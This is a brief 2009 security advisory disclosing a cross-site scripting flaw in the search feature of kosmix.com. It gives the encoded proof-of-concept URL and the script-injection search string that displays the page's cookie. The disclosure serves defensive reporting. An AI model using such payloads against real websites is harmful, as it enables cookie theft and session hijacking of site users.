Organization:
Kosmix, an upcoming web search engine.
Website: http://www.kosmix.com

Vulnerability:

Cross site scripting (XSS) Vulnerability in kosmix.com search.

Credits:

Aseem Jakhar (Member NULL security community)
http://null.co.in

Disclosure timeline:
Reported — 16™ April 2009

Description:
The search option in kosmix.com website is vulnerable to Cross site scripting(XSS)
attack.

URL:
http://www .kosmix.com/topic?q=%27%3Cscript%3Ealert%28document.cookie %29%3C
script%3E&searchSubmit=Go

Search String:  '<script>alert(document.cookie)</script>
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